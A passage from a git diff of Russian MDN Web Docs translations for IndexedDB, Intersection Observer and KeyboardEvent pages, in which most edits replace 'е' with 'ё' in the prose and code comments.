translation_of: Web/API/IndexedDB_API <ul> <li><a href="https://localforage.github.io/localForage/">localForage</a>: Polyfill, предоставляющий простое имя: синтаксис значения для клиентского хранилища данных, которое использует IndexedDB в фоновом режиме, но обращается к WebSQL, а затем к localStorage в браузерах, которые не поддерживают IndexedDB.</li> - <li><a href="http://www.dexie.org/">Dexie.js</a>: Обертка для IndexedDB, позволяющая значительно ускорить разработку кода благодаря красивому и простому синтаксису.</li> + <li><a href="http://www.dexie.org/">Dexie.js</a>: Обёртка для IndexedDB, позволяющая значительно ускорить разработку кода благодаря красивому и простому синтаксису.</li> <li><a href="https://github.com/erikolson186/zangodb">ZangoDB</a>: Интерфейс, подобный MongoDB, для IndexedDB, который поддерживает большинство знакомых функций фильтрации, проекции, сортировки, обновления и агрегирования MongoDB.</li> <li><a href="http://jsstore.net/">JsStore</a>: Оболочка IndexedDB с синтаксисом, подобным SQL.</li> <li><a href="https://github.com/mWater/minimongo">MiniMongo</a>: Клиентский MongoDB, поддерживаемый localStorage, с синхронизацией сервера по http. MiniMongo используется в MeteorJS.</li> diff --git a/files/ru/web/api/indexeddb_api/using_indexeddb/index.html b/files/ru/web/api/indexeddb_api/using_indexeddb/index.html index 824a0372d0..cc7345e92b 100644 --- a/files/ru/web/api/indexeddb_api/using_indexeddb/index.html +++ b/files/ru/web/api/indexeddb_api/using_indexeddb/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/IndexedDB_API/Using_IndexedDB <div class="warning">Некоторые части документа не переведены, в основном это повсеместно принятые в программировании рекомендации, такие как обработка ошибок или что-то очевидное. Тем не менее Вы можете/должны продолжить перевод. Главная цель перевода - понять основные концепции IndexedDB, обратить внимание на важные нюансы, прокомментировать исходный код и может быть добавить примеры.</div> -<p>Справочную документацию по IndexedDB API вы найдете в документе <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB.</a> В нем описаны типы объектов, используемых в IndexedDB, а также синхронный и асинхронный API.</p> +<p>Справочную документацию по IndexedDB API вы найдёте в документе <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB.</a> В нем описаны типы объектов, используемых в IndexedDB, а также синхронный и асинхронный API.</p> <h2 id="pattern" name="pattern">Типичная схема работы с базой</h2> @@ -36,11 +36,11 @@ translation_of: Web/API/IndexedDB_API/Using_IndexedDB <h2 id="open" name="open">Создание и структурирование хранилища</h2> -<p>Так как спецификация пока еще находится в процессе разработки, то текущие реализации IndexedDB отличаются у различных браузеров и могут содержать имена объектов, включающие в себя префиксы браузеров. Однако, как только стандарт будет принят, префиксы будут удалены. К настоящему моменту префиксы уже удалены в реализациях IndexedDB в Internet Explorer 10, Firefox 16 и Chrome 24. Браузеры, построенные на базе Gecko пока еще используют префикс <code>moz,</code> а браузеры на базе движка <code>webkit</code> используют префикс <code>webkit.</code></p> +<p>Так как спецификация пока ещё находится в процессе разработки, то текущие реализации IndexedDB отличаются у различных браузеров и могут содержать имена объектов, включающие в себя префиксы браузеров. Однако, как только стандарт будет принят, префиксы будут удалены. К настоящему моменту префиксы уже удалены в реализациях IndexedDB в Internet Explorer 10, Firefox 16 и Chrome 24. Браузеры, построенные на базе Gecko пока ещё используют префикс <code>moz,</code> а браузеры на базе движка <code>webkit</code> используют префикс <code>webkit.</code></p> <h3 id="Использование_экспериментальной_версии_IndexedDB">Использование экспериментальной версии IndexedDB</h3> -<p>Для того, чтобы протестировать ваше веб-приложение на браузерах, которые пока еще не отказались от префикса, можно воспользоваться следующим кодом:</p> +<p>Для того, чтобы протестировать ваше веб-приложение на браузерах, которые пока ещё не отказались от префикса, можно воспользоваться следующим кодом:</p> <pre class="brush: js">// проверяем существования префикса. window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB; @@ -67,9 +67,9 @@ var request = window.indexedDB.open("MyTestDatabase", 3); <p>Видите? Открытие базы данных, подобно любым другим операциям, запускается запросом.</p> -<p>На самом деле запрос открытия базы данных не приводит к немедленному открытию базы или запуску транзакции. Вызов функции<code> open()</code> вернет объект <a href="/en-US/docs/IndexedDB/IDBOpenDBRequest" title="/en-US/docs/IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a> , содержащий результат (если успешно) или ошибку, которую вы можете обработать как событие. Большинство других асинхронных функций IndexedDB делает то же самое - возвращает объект <a href="/en-US/docs/IndexedDB/IDBRequest" title="/en-US/docs/IndexedDB/IDBRequest"><code style="font-size: 14px; color: rgb(51, 51, 51);">IDBRequest</code></a> с результатом или ошибкой. Результат функции open всегда возвращает экземпляр объекта <code style="font-size: 14px; color: rgb(51, 51, 51);"><a href="/en-US/docs/IndexedDB/IDBDatabase" title="/en-US/docs/IndexedDB/IDBDatabase">IDBDatabase</a>.</code></p> +<p>На самом деле запрос открытия базы данных не приводит к немедленному открытию базы или запуску транзакции. Вызов функции<code> open()</code> вернёт объект <a href="/en-US/docs/IndexedDB/IDBOpenDBRequest" title="/en-US/docs/IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a> , содержащий результат (если успешно) или ошибку, которую вы можете обработать как событие. Большинство других асинхронных функций IndexedDB делает то же самое - возвращает объект <a href="/en-US/docs/IndexedDB/IDBRequest" title="/en-US/docs/IndexedDB/IDBRequest"><code style="font-size: 14px; color: rgb(51, 51, 51);">IDBRequest</code></a> с результатом или ошибкой. Результат функции open всегда возвращает экземпляр объекта <code style="font-size: 14px; color: rgb(51, 51, 51);"><a href="/en-US/docs/IndexedDB/IDBDatabase" title="/en-US/docs/IndexedDB/IDBDatabase">IDBDatabase</a>.</code></p> -<p>Второй параметр метода open - это версия базы данных. Версия определяет схему базы данных - хранилище объектов и их структуру . Если база данных еще не существует, то она создается операцией <code>open,</code> затем срабатывает триггер события <code>onupgradeneeded </code>и после этого ваш обработчик этого события создает схему базы данных. Если же база данных уже существует, а вы указываете новый номер версии, то сразу же срабатывает триггер события <code>onupgradeneeded,</code> позволяя вам обновить схему базы данных в обработчике. Подробнее об этом см. в <a href="#Updating_the_version_of_the_database">Обновление версии базы данных</a> ниже и на странице {{ domxref("IDBFactory.open") }} справочника</p> +<p>Второй параметр метода open - это версия базы данных. Версия определяет схему базы данных - хранилище объектов и их структуру . Если база данных ещё не существует, то она создаётся операцией <code>open,</code> затем срабатывает триггер события <code>onupgradeneeded </code>и после этого ваш обработчик этого события создаёт схему базы данных. Если же база данных уже существует, а вы указываете новый номер версии, то сразу же срабатывает триггер события <code>onupgradeneeded,</code> позволяя вам обновить схему базы данных в обработчике. Подробнее об этом см. в <a href="#Updating_the_version_of_the_database">Обновление версии базы данных</a> ниже и на странице {{ domxref("IDBFactory.open") }} справочника</p> <div class="warning"> <p>Версия базы данных имеет внутреннее представление <code>unsigned long long</code> number (длинное длинное целое без знака), то есть может принимать очень большие целые значения. Имейте в виду также, что нет смысла использовать в качестве версии базы данных значение с плавающей точкой (float), потому что оно будет сконвертировано в ближайшее меньшее целое. В результате неожиданно может не запуститься транзакция или сработать триггер события <code>upgradeneeded</code>. Например, не используйте значение 2.4 как версию базы данных:</p> @@ -90,11 +90,11 @@ request.onsuccess = function(event) { <p>Какая из двух функций<code> - onsuccess()</code> или <code>onerror()</code> - должна быть вызвана? Если всё в порядке - то инициируется событие успеха (это событие DOM, свойство type которого выставлено в <code>"success"</code>) с <code>request</code> в качестве <code>target</code>. Это вызывает запуск функции <code>onsuccess()</code> объекта <code>request</code> с событием успеха в качестве аргумента. В противном случае, если возникают какие-то проблемы, то происходит событие ошибки (то есть событие DOM, свойство <code>type</code> которого установлено в <code>"error"</code>) . Это приводит к запуску функции <code><code>onerror()</code></code> с событием ошибки в качестве аргумента.</p> -<p>IndexedDB API разработан так, чтобы минимизировать необходимость обработки ошибок, поэтому скорее всего вы не встретите много событий ошибки запроса (по крайней мере если вы будете использовать этот API!). Однако при открытии базы данных есть несколько общих условий, которые генерируют события ошибок. Наиболее вероятной проблемой является запрет вашему веб-приложению на создание базы данных, установленный пользователем в браузере. Одной из основных целей разработки IndexedDB - это обеспечение возможности сохранения больших объемов данных для использования офлайн. (Чтобы узнать, сколько памяти вы можете использовать в разных браузерах, обратитесь к <a href="/en/IndexedDB#Storage_limits" title="https://developer.mozilla.org/en/IndexedDB#Storage_limits">Ограничениям памяти</a>).</p> +<p>IndexedDB API разработан так, чтобы минимизировать необходимость обработки ошибок, поэтому скорее всего вы не встретите много событий ошибки запроса (по крайней мере если вы будете использовать этот API!). Однако при открытии базы данных есть несколько общих условий, которые генерируют события ошибок. Наиболее вероятной проблемой является запрет вашему веб-приложению на создание базы данных, установленный пользователем в браузере. Одной из основных целей разработки IndexedDB - это обеспечение возможности сохранения больших объёмов данных для использования офлайн. (Чтобы узнать, сколько памяти вы можете использовать в разных браузерах, обратитесь к <a href="/en/IndexedDB#Storage_limits" title="https://developer.mozilla.org/en/IndexedDB#Storage_limits">Ограничениям памяти</a>).</p> <p>Конечно же, браузеры стремятся не позволить назойливым рекламным сетям или вредоносным сайтам засорять ваш компьютер. Поэтому при первой попытке любого веб-приложения открыть хранилище IndexedDB, браузер запрашивает разрешение пользователя. Пользователь может выбрать - то ли разрешить, то ли запретить доступ. Кроме этого, в приватных режимах браузеров (частный просмотр для Firefox и режим инкогнито для Chrome), IndexedDB полностью запрещена для использования. Так как цель приватных режимов - не оставлять следов, то открытие базы данных невозможно в таких режимах.</p> -<p>А теперь предположим, что пользователь разрешил вашему запросу создать базу данных и состоялось событие успеха, запустившее обработчик события успеха. Что дальше? Так как ваш запрос был сгенерирован с вызовом метода <code>indexedDB.open(), то </code><code>request.result</code> является экземпляром объекта <code>IDBDatabase</code> и вы определенно захотите сохранить его для будущего использования. Ваш код может выглядеть примерно так:</p> +<p>А теперь предположим, что пользователь разрешил вашему запросу создать базу данных и состоялось событие успеха, запустившее обработчик события успеха. Что дальше? Так как ваш запрос был сгенерирован с вызовом метода <code>indexedDB.open(), то </code><code>request.result</code> является экземпляром объекта <code>IDBDatabase</code> и вы определённо захотите сохранить его для будущего использования. Ваш код может выглядеть примерно так:</p> <pre class="brush: js"><code class="language-js"><span class="keyword token">var</span> db<span class="punctuation token">;</span> <span class="keyword token">var</span> request <span class="operator token">=</span> indexedDB<span class="punctuation token">.</span><span class="function token">open<span class="punctuation token">(</span></span><span class="string token">"MyTestDatabase"</span><span class="punctuation token">)</span><span class="punctuation token">;</span> @@ -116,17 +116,17 @@ request<span class="punctuation token">.</span>onsuccess <span class="operator t }; </pre> -<p>Одной из возможных ошибок при открытии базы данных является <code>VER_ERR. </code>Она сигнализирует о том, что версия базы данных, сохраненная на диске, <em>больше</em>, чем версия, которую вы пытаетесь открыть. Такая ошибка должна быть в обязательном порядке обработана обработчиком ошибок. </p> +<p>Одной из возможных ошибок при открытии базы данных является <code>VER_ERR. </code>Она сигнализирует о том, что версия базы данных, сохранённая на диске, <em>больше</em>, чем версия, которую вы пытаетесь открыть. Такая ошибка должна быть в обязательном порядке обработана обработчиком ошибок. </p> <h3 id="Создание_или_обновление_версии_базы_данных">Создание или обновление версии базы данных</h3> -<p>Когда вы создаете новую базу данных или увеличиваете номер версии существующей базы данных (задавая больший номер версии, чем тот номер, который был вами указан при <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#Opening_a_database">Opening a database</a>) запускается событие <code style="font-size: 14px; color: rgb(51, 51, 51);">onupgradeneeded</code>. В обработчике этого события вы должны создать хранилище объектов, необходимое для этой версии базы данных:</p> +<p>Когда вы создаёте новую базу данных или увеличиваете номер версии существующей базы данных (задавая больший номер версии, чем тот номер, который был вами указан при <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#Opening_a_database">Opening a database</a>) запускается событие <code style="font-size: 14px; color: rgb(51, 51, 51);">onupgradeneeded</code>. В обработчике этого события вы должны создать хранилище объектов, необходимое для этой версии базы данных:</p> <pre class="brush:js;">// Это событие появилось только в самых новых браузерах request.onupgradeneeded = function(event) { var db = event.target.result; - // Создаем хранилище объектов для этой базы данных + // Создаём хранилище объектов для этой базы данных var objectStore = db.createObjectStore("name", { keyPath: "myKey" }); };</pre> diff --git a/files/ru/web/api/inputevent/index.html b/files/ru/web/api/inputevent/index.html index 8dd6cc087e..1bf9b77f4b 100644 --- a/files/ru/web/api/inputevent/index.html +++ b/files/ru/web/api/inputevent/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/InputEvent <dl> <dt>{{domxref("InputEvent.InputEvent", "InputEvent()")}}</dt> - <dd>Создает <code>InputEvent</code> объект.</dd> + <dd>Создаёт <code>InputEvent</code> объект.</dd> </dl> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/intersection_observer_api/index.html b/files/ru/web/api/intersection_observer_api/index.html index bd086266e6..bd1354931e 100644 --- a/files/ru/web/api/intersection_observer_api/index.html +++ b/files/ru/web/api/intersection_observer_api/index.html @@ -10,12 +10,12 @@ translation_of: Web/API/Intersection_Observer_API <p class="summary">Intersection Observer API позволяет веб-приложениям асинхронно следить за изменением пересечения элемента с его родителем или областью видимости документа {{Glossary("viewport")}}.</p> -<p>Исторически обнаружение видимости отдельного элемента или видимости двух элементов по отношению друг к другу было непростой задачей. Варианты решения этой задачи были ненадежными и замедляли работу браузера. К несчастью, по мере того как веб "взрослел", потребность в решении этой проблемы только росла по многим причинам, таким как:</p> +<p>Исторически обнаружение видимости отдельного элемента или видимости двух элементов по отношению друг к другу было непростой задачей. Варианты решения этой задачи были ненадёжными и замедляли работу браузера. К несчастью, по мере того как веб "взрослел", потребность в решении этой проблемы только росла по многим причинам, таким как:</p> <ul> <li>Отложенная загрузка изображений или другого контента по мере прокрутки страницы.</li> <li>Реализация веб-сайтов с "бесконечным скроллом", где контент подгружается по мере того как страница прокручивается вниз, и пользователю не нужно переключаться между страницами.</li> - <li>Отчет о видимости рекламы с целью посчитать доходы от нее.</li> + <li>Отчёт о видимости рекламы с целью посчитать доходы от нее.</li> <li>Принятие решения, запускать ли какой-то процесс или анимацию в зависимости от того, увидит пользователь результат или нет.</li> </ul> @@ -23,7 +23,7 @@ translation_of: Web/API/Intersection_Observer_API <p>Рассмотрим веб-страницу с бесконечным скроллом. На ней используется библиотека для управления периодически размещаемой по всей странице рекламой, повсюду анимированная графика, а также библиотека для отображения всплывающих окон. И все эти вещи используют свои собственные правила для обнаружения пересечений, и все они запущены в основном потоке. Автор сайта может даже не подозревать об этой проблеме, а также может не знать, как работают сторонние библиотеки изнутри. В то же время пользователь по ходу прокрутки страницы сталкивается с тем, что работа сайта замедляется постоянным срабатыванием обнаружения пересечения, что в итоге приводит к тому, что пользователь недоволен браузером, сайтом и своим компьютером.</p> -<p>Intersection Observer API даёт возможность зарегистрировать колбэк-функцию, которая выполнится при пересечении наблюдаемым элементом границ другого элемента (или области видимости документа {{Glossary("viewport")}}), либо при изменении величины пересечения на определенное значение. Таким образом, больше нет необходимости вычислять пересечение элементов в основном потоке, и браузер может оптимизировать эти процессы на своё усмотрение.</p> +<p>Intersection Observer API даёт возможность зарегистрировать колбэк-функцию, которая выполнится при пересечении наблюдаемым элементом границ другого элемента (или области видимости документа {{Glossary("viewport")}}), либо при изменении величины пересечения на определённое значение. Таким образом, больше нет необходимости вычислять пересечение элементов в основном потоке, и браузер может оптимизировать эти процессы на своё усмотрение.</p> <p>Observer API не позволит узнать точное число пикселей или определить конкретные пиксели в пересечении; однако, его использование покрывает наиболее частые сценарии вроде "Если элементы пересекаются на N%, сделай то-то".</p> @@ -35,7 +35,7 @@ translation_of: Web/API/Intersection_Observer_API <p>Используете ли вы область видимости или другой элемент в качестве корневого, API работает одинаково, вызывая заданную вами колбэк-функцию, всякий раз, когда видимость целевого элемента изменяет так, что она пересекает в нужной степени корневой элемент.</p> -<p>Степень пересечения целевого и корневого элемента задается в диапазоне от 0.0 до 1.0, где 1.0 это полное пересечение целевого элемента границ корневого.</p> +<p>Степень пересечения целевого и корневого элемента задаётся в диапазоне от 0.0 до 1.0, где 1.0 это полное пересечение целевого элемента границ корневого.</p> <h3 id="Пример_использования">Пример использования</h3> @@ -97,7 +97,7 @@ observer.observe(target); <dt>{{domxref("IntersectionObserver")}}</dt> <dd>Основной интерфейс для API Intersection Observer. Предоставляет методы для создания и управления observer, который может наблюдать любое количество целевых элементов для одной и той же конфигурации пересечения. Каждый observer может асинхронно наблюдать изменения в пересечении между одним или несколькими целевыми элементами и общим элементом-предком или с их верхним уровнем {{domxref("Document")}}'s {{Glossary('viewport')}}. Предок или область просмотра упоминается как <strong>root</strong>.</dd> <dt>{{domxref("IntersectionObserverEntry")}}</dt> - <dd>Описывает пересечение между целевым элементом и его корневым контейнером в определенный момент перехода. Объекты этого типа могут быть получены только двумя способами: в качестве входных данных для вашего колбэка IntersectionObserver или путем вызова {{domxref ("IntersectionObserver.takeRecords()")}}.</dd> + <dd>Описывает пересечение между целевым элементом и его корневым контейнером в определённый момент перехода. Объекты этого типа могут быть получены только двумя способами: в качестве входных данных для вашего колбэка IntersectionObserver или путём вызова {{domxref ("IntersectionObserver.takeRecords()")}}.</dd> </dl> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html b/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html index b4fb095993..b7f1bf0997 100644 --- a/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html +++ b/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html @@ -53,7 +53,7 @@ translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility <h3 id="Основа">Основа</h3> -<p>Мы создаем стили для {{HTMLElement("body")}} и {{HTMLElement("main")}} так, чтобы определить фоновый цвет и сеточную систему.</p> +<p>Мы создаём стили для {{HTMLElement("body")}} и {{HTMLElement("main")}} так, чтобы определить фоновый цвет и сеточную систему.</p> <pre class="brush: css notranslate">body { font-family: "Open Sans", "Arial", "Helvetica", sans-serif; @@ -93,7 +93,7 @@ translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility <h3 id="Боковая_панель">Боковая панель</h3> -<p>Боковая панель используется для показа ссылок на другие страницы приложения. Ни одна из них не будет работать в нашем примере. Вся боковая панель нужна, чтобы просто приблизить внешний вид приложения к реальному блогу. Боковая панель создается с помощью элемента {{HTMLElement("aside")}}.</p> +<p>Боковая панель используется для показа ссылок на другие страницы приложения. Ни одна из них не будет работать в нашем примере. Вся боковая панель нужна, чтобы просто приблизить внешний вид приложения к реальному блогу. Боковая панель создаётся с помощью элемента {{HTMLElement("aside")}}.</p> <pre class="brush: css notranslate">aside { grid-column: 1; @@ -185,7 +185,7 @@ article h2 { <h2 id="Совмещаем_с_JavaScript">Совмещаем с JavaScript</h2> -<p>Перейдём к JavaScript коду, который всё оживит. Начнем с глобальных переменных:</p> +<p>Перейдём к JavaScript коду, который всё оживит. Начнём с глобальных переменных:</p> <pre class="brush: js notranslate">let contentBox; @@ -243,7 +243,7 @@ function startup() { <p>Параметр "порог" (<code>threshold</code>) содержит массив со значениями 0.0 и 0.75; Это заставит обработчик вызываться каждый раз, когда целевой элемент становится полностью обёрнут или только начинает выходить из зоны перекрытия (коэффициент перекрытия 0.0) или проходит порог в 75% видимости в обоих направлениях (коэффициент перекрытия 0.75).</p> -<p>Наблюдатель <code>adObserver</code> создается с помощью конструктора <code>IntersectionObserver</code>. В аргументы конструктора мы передаём колбэк-функцию (<code>intersectionCallback</code>) и ранее определенный объект параметров.</p> +<p>Наблюдатель <code>adObserver</code> создаётся с помощью конструктора <code>IntersectionObserver</code>. В аргументы конструктора мы передаём колбэк-функцию (<code>intersectionCallback</code>) и ранее определённый объект параметров.</p> <p>После этого мы вызываем функцию <code>buildContents()</code>. Её мы напишем чуть позже. Функция генерирует и вставляет в контейнер статьи и рекламные блоки.</p> @@ -280,7 +280,7 @@ function startup() { <h3 id="Обработчик_изменений_наложения">Обработчик изменений наложения</h3> -<p>При каждой итерации в браузерном event loop, каждый наблюдатель {{domxref("IntersectionObserver")}} проверяет, не прошел ли какой-либо из элементов-целей через пороговые значения наблюдателя. Для каждого наблюдателя список таких целей собирается в один список и отправляется в колбэк-функцию наблюдателя. Каждый элемент списка - это {{domxref("IntersectionObserverEntry")}} объект. В нашем приложении <code>intersectionCallback()</code> выглядит так:</p> +<p>При каждой итерации в браузерном event loop, каждый наблюдатель {{domxref("IntersectionObserver")}} проверяет, не прошёл ли какой-либо из элементов-целей через пороговые значения наблюдателя. Для каждого наблюдателя список таких целей собирается в один список и отправляется в колбэк-функцию наблюдателя. Каждый элемент списка - это {{domxref("IntersectionObserverEntry")}} объект. В нашем приложении <code>intersectionCallback()</code> выглядит так:</p> <pre class="brush: js notranslate">function intersectionCallback(entries) { entries.forEach(function(entry) { @@ -361,7 +361,7 @@ function startup() { <dd>Общее время видимости рекламного блока.</dd> </dl> -<p>Значение этих атрибутов можно получить с помощью {{domxref("HTMLElement.dataset")}}. Значения - строки, но вы можете конвертировать их в числа. Фактически, JavaScript делает это автоматически, но нам всё равно придется в одном месте сделать это вручную.</p> +<p>Значение этих атрибутов можно получить с помощью {{domxref("HTMLElement.dataset")}}. Значения - строки, но вы можете конвертировать их в числа. Фактически, JavaScript делает это автоматически, но нам всё равно придётся в одном месте сделать это вручную.</p> <p>Функция начинается с выяснения времени, когда происходила последняя проверка видимости рекламы (<code>adBox.dataset.lastViewStarted</code>). Мы также получаем текущее время с момента создания документа с помощью {{domxref("Performance.now", "performance.now()")}} <code>currentTime</code>.</p> @@ -371,7 +371,7 @@ function startup() { <h3 id="Показываем_таймер_рекламы">Показываем таймер рекламы</h3> -<p>Внутри каждого рекламного блока мы отображаем текущее значение общего времени видимости в формате мин:сек. Для этого мы передаем в функцию <code>drawAdTimer</code> контейнер:</p> +<p>Внутри каждого рекламного блока мы отображаем текущее значение общего времени видимости в формате мин:сек. Для этого мы передаём в функцию <code>drawAdTimer</code> контейнер:</p> <pre class="brush: js notranslate">function drawAdTimer(adBox) { let timerBox = adBox.querySelector(".timer"); @@ -411,11 +411,11 @@ function buildContents() { <p>Переменная <code>loremIpsum</code> содержит текст, который мы используем как тело статьи. Разумеется, в реальном мире вы будете забирать статьи из какой-то базы данных. Но это тема другой статьи, поэтому мы пошли простым путём.</p> -<p><code>buildContents()</code> создаёт страницу с пятью статьями. Каждая нечётная статья содержит рекламные блоки. Статьи будут вставлены в блок контента {{HTMLElement("main")}}. после того, как будет вызван метод <code>createArticle()</code>, который мы разберем позже.</p> +<p><code>buildContents()</code> создаёт страницу с пятью статьями. Каждая нечётная статья содержит рекламные блоки. Статьи будут вставлены в блок контента {{HTMLElement("main")}}. после того, как будет вызван метод <code>createArticle()</code>, который мы разберём позже.</p> -<p>Рекламные блоки создаются с помощью функции <code>loadRandomAd()</code>. Эта функция создает и вставляет блоки одновременно. Как мы увидим позже, эта же функция может и заменить уже существующую рекламу. Но пока что просто добавим рекламу в существующий текст.</p> +<p>Рекламные блоки создаются с помощью функции <code>loadRandomAd()</code>. Эта функция создаёт и вставляет блоки одновременно. Как мы увидим позже, эта же функция может и заменить уже существующую рекламу. Но пока что просто добавим рекламу в существующий текст.</p> -<h3 id="Создаем_статью">Создаем статью</h3> +<h3 id="Создаём_статью">Создаём статью</h3> <p>Для создания элемента статьи {{HTMLElement("article")}} и её содержимого мы используем функцию <code>createArticle()</code>, которая в качестве входных данных принимает строку-текст статьи.</p> @@ -434,11 +434,11 @@ function buildContents() { return articleElem; }</pre> -<p>Сперва, элемент <code><article></code> создаётся и ему присваивается уникальный ID <code>nextArticleID</code> (это просто счётчик от нуля до бесконечности). Затем мы создаем и добавляем элемент {{HTMLElement("h2")}} для заголовка и применяем HTML из переменной <code>contents</code>. Наконец, мы увеличиваем значение <code>nextArticleID</code> (таким образом, следующий элемент получит уникальный ID) и возвращаем элемент статьи обратно.</p> +<p>Сперва, элемент <code><article></code> создаётся и ему присваивается уникальный ID <code>nextArticleID</code> (это просто счётчик от нуля до бесконечности). Затем мы создаём и добавляем элемент {{HTMLElement("h2")}} для заголовка и применяем HTML из переменной <code>contents</code>. Наконец, мы увеличиваем значение <code>nextArticleID</code> (таким образом, следующий элемент получит уникальный ID) и возвращаем элемент статьи обратно.</p> <h3 id="Создание_рекламного_блока">Создание рекламного блока</h3> -<p>Функция <code>loadRandomAd()</code> имитирует загрузку рекламы и её добавление на страницу. Если вы не указываете значение для <code>replaceBox</code>, создается и применяется новый контейнер для рекламы. Если вы указали <code>replaceBox</code>, этот контейнер рассматривается, как уже существующий элемент. Вместо создания нового, существующий элемент изменяется, чтобы содержать актуальные данные. Это помогает избежать риска неэффективной перерисовки элементов, если вы сначала будете удалять элемент из DOM, а затем вставлять новый.</p> +<p>Функция <code>loadRandomAd()</code> имитирует загрузку рекламы и её добавление на страницу. Если вы не указываете значение для <code>replaceBox</code>, создаётся и применяется новый контейнер для рекламы. Если вы указали <code>replaceBox</code>, этот контейнер рассматривается, как уже существующий элемент. Вместо создания нового, существующий элемент изменяется, чтобы содержать актуальные данные. Это помогает избежать риска неэффективной перерисовки элементов, если вы сначала будете удалять элемент из DOM, а затем вставлять новый.</p> <pre class="brush: js notranslate">function loadRandomAd(replaceBox) { let ads = [ @@ -523,7 +523,7 @@ function buildContents() { <p>Если <code>replaceBox</code> содержит какое-то значение, мы рассматриваем его как элемент рекламного блока. Мы завершаем наблюдение за элементом с помощью {{domxref("IntersectionObserver.unobserve()")}}. Затем собираем в локальные переменные данные из каждого свойства элемента: заголовок, тело и таймер.</p> -<p>Если никакое значение не указано для <code>replaceBox</code>, мы создаем новый элемент. Создаётся новый контейнер {{HTMLElement("div")}}. Его CSS-параметры задаются с помощью класса <code>"ad"</code>. Затем создаются заголовок рекламного блока, его текст и таймер. Соотстветвенно, это {{HTMLElement("h2")}}, {{HTMLElement("p")}} и {{HTMLElement("div")}}. Эти элементы применяются к контейнеру <code>adBox</code>.</p> +<p>Если никакое значение не указано для <code>replaceBox</code>, мы создаём новый элемент. Создаётся новый контейнер {{HTMLElement("div")}}. Его CSS-параметры задаются с помощью класса <code>"ad"</code>. Затем создаются заголовок рекламного блока, его текст и таймер. Соотстветвенно, это {{HTMLElement("h2")}}, {{HTMLElement("p")}} и {{HTMLElement("div")}}. Эти элементы применяются к контейнеру <code>adBox</code>.</p> <p>После этого разветвления наш код вновь возвращается к единому. Фоновый цвет рекламных блоков присваивается соответственно записям. Элементам присваиваются классы и содержимое.</p> diff --git a/files/ru/web/api/intersectionobserver/index.html b/files/ru/web/api/intersectionobserver/index.html index 81c9d06e14..6676d9a6b7 100644 --- a/files/ru/web/api/intersectionobserver/index.html +++ b/files/ru/web/api/intersectionobserver/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/IntersectionObserver <p>Интерфейс <code><strong>IntersectionObserver</strong></code> в составе <a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a> <span class="seoSummary">предоставляет возможность асинхронного наблюдения за изменением пересечения целевого элемента с вышестоящим элементом или с верхоуровневым {{Glossary('viewport')}} документа.</span> Вышестоящий элемент или viewport считается корнем.</p> -<p>Когда <code>IntersectionObserver</code> создан, он настроен на отслеживание заданных соотношений видимости в корне. Конфигурация не может быть изменена после создания <code>IntersectionObserver</code>, поэтому такой объект-наблюдатель полезен только для наблюдения за определенными изменениями в степени видимости; однако вы можете следить за несколькими целевыми элементами с одним и тем же наблюдателем.</p> +<p>Когда <code>IntersectionObserver</code> создан, он настроен на отслеживание заданных соотношений видимости в корне. Конфигурация не может быть изменена после создания <code>IntersectionObserver</code>, поэтому такой объект-наблюдатель полезен только для наблюдения за определёнными изменениями в степени видимости; однако вы можете следить за несколькими целевыми элементами с одним и тем же наблюдателем.</p> <h2 id="Constructor">Constructor</h2> diff --git a/files/ru/web/api/keyboardevent/altkey/index.html b/files/ru/web/api/keyboardevent/altkey/index.html index 65ff69f379..774df5baea 100644 --- a/files/ru/web/api/keyboardevent/altkey/index.html +++ b/files/ru/web/api/keyboardevent/altkey/index.html @@ -33,7 +33,7 @@ function showChar(e){ <body onkeypress="showChar(event);"> <p> -Нажмите любую клавишу с зажатой клавишей ALT или без нее<br /> +Нажмите любую клавишу с зажатой клавишей ALT или без неё<br /> Вы можете также использовать SHIFT вместе с ALT. </p> </body> diff --git a/files/ru/web/api/keyboardevent/index.html b/files/ru/web/api/keyboardevent/index.html index 78e057c480..0d4f5ab6c4 100644 --- a/files/ru/web/api/keyboardevent/index.html +++ b/files/ru/web/api/keyboardevent/index.html @@ -137,7 +137,7 @@ translation_of: Web/API/KeyboardEvent <li><code>keyup</code></li> </ol> -<p>В этих средах, к сожалению, нет возможности сказать веб-контенту, произошел автоповтор или клавиша была нажата несколько раз.</p> +<p>В этих средах, к сожалению, нет возможности сказать веб-контенту, произошёл автоповтор или клавиша была нажата несколько раз.</p> <h4 id="Обработка_автоповтора_на_системах_до_Gecko_5.0">Обработка автоповтора на системах до Gecko 5.0</h4> diff --git a/files/ru/web/api/keyboardevent/key/key_values/index.html b/files/ru/web/api/keyboardevent/key/key_values/index.html index d899eb5c38..1dc955cf06 100644 --- a/files/ru/web/api/keyboardevent/key/key_values/index.html +++ b/files/ru/web/api/keyboardevent/key/key_values/index.html @@ -3,7 +3,7 @@ title: Значения клавиш slug: Web/API/KeyboardEvent/key/Key_Values translation_of: Web/API/KeyboardEvent/key/Key_Values --- -<p>В таблицах ниже перечислены стандартные значения различных категорий клавиш с объяснением того, для чего этот клавиша обычно используется. Соответствующие виртуальные коды клавиш для распространенных платформ включены там, где они доступны.</p> +<p>В таблицах ниже перечислены стандартные значения различных категорий клавиш с объяснением того, для чего этот клавиша обычно используется. Соответствующие виртуальные коды клавиш для распространённых платформ включены там, где они доступны.</p> <div class="pull-aside"> <div 